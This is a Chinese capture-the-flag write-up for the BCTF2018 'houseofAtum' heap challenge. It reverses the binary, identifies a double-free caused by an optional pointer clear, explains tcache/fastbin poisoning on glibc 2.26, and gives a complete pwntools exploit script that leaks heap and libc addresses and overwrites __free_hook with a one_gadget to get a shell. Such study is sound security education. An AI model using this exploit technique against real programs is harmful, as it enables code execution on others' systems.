[堆利用:TCache机制]hauseofAtum

题目链接:https://github.com/blue-lotus/BCTF2018/tree/master/pwn/houseofAtum

0x00 逆向分析

菜单:

1
2
3
4
5
6
7
8
9
__int64 menu()
{
puts("1. new");
puts("2. edit");
puts("3. delete");
puts("4. show");
printf("Your choice:");
return getint();
}

功能:1.创建note

1
2
3
4
5
6
7
8
9
10
11
12
13
int alloc()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 1 && notes[i]; ++i )
;
if ( i == 2 )
return puts("Too many notes!");
printf("Input the content:");
notes[i] = malloc(0x48uLL);
readn((void *)notes[i], 0x48LL);
return puts("Done!");
}

注意点:只能存在两个堆块,存在两个之后再创建会提示太多了。因此要在只有两个堆块的情况下完成。

1
2
3
4
ssize_t __fastcall readn(void *a1, size_t a2)
{
return read(0, a1, a2);
}

发现他对0x48大小的堆块写了0x48大小,可能存在泄露。

2.修改

1
2
3
4
5
6
7
8
9
10
11
12
int edit()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("Input the idx:");
v1 = getint();
if ( v1 < 0 || v1 > 1 || !notes[v1] )
return puts("No such note!");
printf("Input the content:");
readn(notes[v1], 72LL);
return puts("Done!");
}

3.删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 del()
{
int v1; // [rsp+0h] [rbp-10h]
char v2[2]; // [rsp+6h] [rbp-Ah] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Input the idx:");
v1 = getint();
if ( v1 >= 0 && v1 <= 1 && notes[v1] )
{
free((void *)notes[v1]);
printf("Clear?(y/n):");
readn(v2, 2uLL);
if ( v2[0] == 'y' )
notes[v1] = 0LL;
puts("Done!");
}
else
{
puts("No such note!");
}
return __readfsqword(0x28u) ^ v3;
}

这里存在一个本题关键的漏洞点:
只有返回y的时候,才会清除chunk指针,否则不清除。
这就导致如果我如果每次free都不clear,那么就可以一直对同一个堆块free。

4.打印

1
2
3
4
5
6
7
8
9
10
11
12
int show()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("Input the idx:");
v1 = getint();
if ( v1 < 0 || v1 > 1 || !notes[v1] )
return puts("No such note!");
printf("Content:");
puts((const char *)notes[v1]);
return puts("Done!");
}

0x01 漏洞利用

关键点:当fastbin的chunk被申请后,如果tcache未满,则会把fastbin中的chunk装入tcache。可以利用这一点,在申请fastbin的同时,将伪造堆块的指针放入tcache的entries中。
步骤:
1.先创建一个chunk0,再创建一个chunkA,在chunkA的尾部写入0x11后再释放掉(绕过top chunk的合并检测),目的是为后续修改chunk0的size腾出空间。
将chunkA多次free,再用show泄露tcache中的chunk地址(chunk_addr)。
2.释放七个相同chunk再释放一次,即可让chunk进入fastbin
3.将tcache中的chunk(后称chunk0)取出,使得tcache的counts-1变成6的同时,失去entries指针。(之后会详细解释)在取出chunk的同时写入chunk_addr - 0x20
4.申请第二个堆块(chunk1),因为此时entries为空,堆块将从fastbin中取出,因为动用了fastbin,而由于之前从tcache中拿了一个chunk ,counts是6(没满),因此,tcache会将fastbin中的chunk放入tcache中。在此操作之前,在fastbin中的chunk0的fd指针已经被改为chunk_addr - 0x20,因此tcache将会把chunk_addr - 0x10写入entries。
5.将chunk1释放,因为此时tcache已满,所以它会被放入fastbin(不会放入tcache),再将它取出(优先从tcache取出)。因为之前改写了tcache的entries,此时的chunk1已经变成我们控制chunk0 size的内鬼了。
6.通过修改chunk1的内容,使chunk0的size变为0x90再把chunk0 free掉,chunk0就会进unsorted bin。再把chunk1前0x10全改成‘A’,show chunk1,从而泄露libc基地址。
7.用chunk1把chunk0恢复原样,由于chunk0 同时存在fastbin和unsortedbin,优先从fastbin取出。再一次把chunk0的fd指针改成free_hook - 0x10,利用和上面一样的方法,把entries改为free_hook,在free_hook上创建堆块,将其地址改为onegadget。
8.随便free一个chunk,触发onegadget,完成。

0x02 详细步骤

方便阅读脚本,先放一下函数定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def new(cont):
io.sendlineafter("choice:",'1')
io.sendafter("content:",cont)

def edit(idx,cont):
io.sendlineafter("choice:",'2')
io.sendlineafter("idx",str(idx))
io.sendafter("content:",cont)

def delete(idx,x):
io.sendlineafter("choice:",'3')
io.sendlineafter("idx",str(idx))
io.sendlineafter("(y/n)",x)

def show(idx):
io.sendlineafter("choice:",'4')
io.sendlineafter("idx:",str(idx))

1.泄露chunk0地址

1
2
3
4
5
6
7
8
9
10
11
12
13
def leak():
global heap_addr
new('A')
new(p64(0)*7 + p64(0x11))
#1
delete(1,'y')
for i in range(6):
delete(0,'n')
#2
show(0)
io.recvuntil("Content:")
heap_addr = u64(io.recv(6).ljust(8,'\x00'))
log.info("heap_addr:0x%x" % heap_addr)

先申请一个chunk,再申请第二个,在第二个chunk的最后0x08的位置放入0x11,防止top chunk合并。
把第一个chunk free六次,装满tcache,然后show,即可泄露chunk地址。
看一下代码段中#1 #2位置时的内存:

#1

在这里插入图片描述
可以看到紧贴topchunk的那个chunk并没有被合并

#2

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

可以看到此时的chunk0的next指针位已经被写入了chunk地址,它的地址正好是chunk0的用户区域起始地址。利用show()即可输出该地址。

2.泄露libc基地址

这段脚本信息量很大,分段说明

第一段

1
2
3
4
5
6
7
8
9
delete(0,'y') #! ->fastbin
#1
new(p64(heap_addr - 0x20))
#2
new('A')
#3
delete(1,'y')
new(p64(0) + p64(0x91))
#4

在上一步,tcache已被塞满,因此再delete一次,就会使chunk0被装入fastbin。
fastbin是单链表,它依靠在chunk的用户区域前0x08位置写入fd指针,来进行单链表的添加,删除操作。
chunk0是第一个进入fastbin的,它的前面没有任何chunk,因此它的fd指针为空,所以用户区域的前0x08变成了0。
但是在此之前,chunk0还在tcache的时候,它在用户区域前0x08的位置装的是tcache所用的next指针。因此它在被装入fastbin的同时,相当于清空了它的next指针位。

#1

在这里插入图片描述
此时的tcache和fastbin
在这里插入图片描述
下一步,申请一个chunk并写入heap_addr - 0x20的地址。
首先,申请会发生什么。因为tcache和fastbin中都有chunk,会优先从tcache中取出一个chunk。但是,由于上一行代码已经将chunk0的next指针清空,因此取出chunk的同时就清空了tcache的entries指针,此时的tcache有6个chunk记录(counts = 6)但是却没有指向任何chunk的指针(entries = 0)。

#2

在这里插入图片描述
下一步,申请一个chunk。
由于tcache中的entries已经被清空,所以只会从fastbin中取chunk。由于tcache的管理机制,如果从fastbin中申请了一个chunk,就会自动的将fastbin中其他chunk放入tcache中。
有一个小细节,因为fastbin的fd指针指向的是chunk头,而tcache的next指针指向的是chunk的用户区域,他们之间有0x10的偏移,因此当fastbin中的chunk放入tcache时,会把chunk指针的地址+0x10。
回到这次操作,申请这个chunk后,chunk0从fastbin中取出。虽然实际上fastbin中并没有两个chunk,但是在上一步,chunk0的fd指针被改了,管理器以为还有chunk,把+0x10被放入了tcache的entries。

#3

在这里插入图片描述
可以看到,fastbin和tcache的地址相同。但是意义不一样,tcache指向的是用户区域,而fastbin指向的是chunk头。此时只要将tcache中的chunk取出,就能够控制chunk0的chunk头。

最后两行
将之前new(‘A’)的chunk释放,因为tcache已满,所以它会被放入fastbin。
再申请一个新chunk(chunk1),因为tcache优先度比fastbin更高,所以会从tcache中取出之前构造好的地址的堆块。同时,覆盖原有的size改成0x91,使chunk大小超过fastbin范围,帮助之后泄露libc基地址。

#4

在这里插入图片描述
可以看到chunk的size已经变成0x91了,证明chunk1已经控制了size域(内鬼造好了)。

第二段

1
2
3
4
5
6
7
8
9
10
for i in range(7):
delete(0,'n')
delete(0,'y')
#1
edit(1,"A" * 0x10)
#2
show(1)
io.recvuntil("A"*0x10)
libc_base = u64(io.recv(6).ljust(8,'\x00')) - 0x3dac78
log.info("libc_base:0x%x" % libc_base)

之后的步骤就简单了,将0x91的chunk free8次装入unsorted bin。此时chunk0的fd和bk已经被修改,只要通过chunk1用‘A’把chunk0的chunk头填满,再show chunk1,就能泄露出fd指针,通过指针再本地调试即可算出libc基地址。

#1

在这里插入图片描述
chunk已经被放入unsorted bin

#2

在这里插入图片描述
用chunk1装满chunk0的chunk头,可以看到4141已经和fd指针相连,用show即可完成泄露。
在这里插入图片描述
把泄露的地址和libc基地址相减计算出偏移地址,完成libc基地址计算。

3.改写__free_hook

1
2
3
4
5
6
7
8
9
10
one_gadget = libc_base + 0xfcc6e
free_hook = libc_base + libc.symbols['__free_hook']

edit(1,p64(0) + p64(0x51) + p64(free_hook-0x10))
new('A')
delete(0,'y')
new(p64(one_gadget))
io.sendlineafter("choice:",'3')
io.sendlineafter(":",'0')
io.interactive()

用onegadget指令获取地址。通过chunk1修改chunk0的fd指针,用一样的操作,申请chunk,修改tcache的entries指针,再把它free掉,放入fastbin,再从tcache申请chunk,即可在__free_hook上创建堆块,将地址修改为one_gadget,再随便free一个chunk,完成。

0x03 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from commonFunc import *

io = process('./houseofAtum')
libc = ELF('/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc.so.6')

def new(cont):
io.sendlineafter("choice:",'1')
io.sendafter("content:",cont)

def edit(idx,cont):
io.sendlineafter("choice:",'2')
io.sendlineafter("idx",str(idx))
io.sendafter("content:",cont)

def delete(idx,x):
io.sendlineafter("choice:",'3')
io.sendlineafter("idx",str(idx))
io.sendlineafter("(y/n)",x)

def show(idx):
io.sendlineafter("choice:",'4')
io.sendlineafter("idx:",str(idx))

def leak():
global heap_addr
new('A')
new(p64(0)*7 + p64(0x11))
delete(1,'y')
for i in range(6):
delete(0,'n')
show(0)
io.recvuntil("Content:")
heap_addr = u64(io.recv(6).ljust(8,'\x00'))
log.info("heap_addr:0x%x" % heap_addr)

def leak_libc():
global libc_base

delete(0,'y')
new(p64(heap_addr - 0x20))
new('A')
delete(1,'y')
new(p64(0) + p64(0x91))

for i in range(7):
delete(0,'n')
delete(0,'y')
debug(io)
edit(1,"A" * 0x10)
debug(io)
show(1)
io.recvuntil("A"*0x10)
libc_base = u64(io.recv(6).ljust(8,'\x00')) - 0x3dac78
log.info("libc_base:0x%x" % libc_base)

def pwn():
one_gadget = libc_base + 0xfcc6e
free_hook = libc_base + libc.symbols['__free_hook']

edit(1,p64(0) + p64(0x51) + p64(free_hook-0x10))
new('A')
delete(0,'y')
new(p64(one_gadget))
io.sendlineafter("choice:",'3')
io.sendlineafter(":",'0')
io.interactive()

if __name__ == '__main__':
leak()
leak_libc()
pwn()